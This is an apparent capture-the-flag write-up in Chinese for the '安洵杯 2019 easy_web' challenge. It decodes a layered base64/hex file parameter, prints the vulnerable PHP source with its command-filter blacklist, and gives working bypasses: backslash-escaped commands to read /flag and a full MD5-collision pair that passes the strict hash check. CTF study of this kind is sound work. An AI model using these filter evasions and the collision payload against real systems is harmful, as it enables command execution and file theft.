[安洵杯 2019]easy_web
打开环境
img传参还有cmd
img应该是base，先解码看看
3535352e706e67
这个好像是十六进制的，再解
访问一下看看，得到一张图片
尝试base解码，但是没有什么发现
再看看地址栏出现index.php,应该是要下载源码，但是还没有具体的思路，看看提示
将index.php按照刚刚的思路进行一遍，得到
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
看来又是解码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>看到了三个等号，强比较，MD5绕过，过滤了cat，应该是进行命令执行
试了一下数组发现不行，因为这里使用了String强转换，数组都被强制转换
cmd传参处传入dir
ca\t%20/f\l\a\g
ca\t%20/flag
sort /flag
\t会被当成tab而跳过过滤，
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
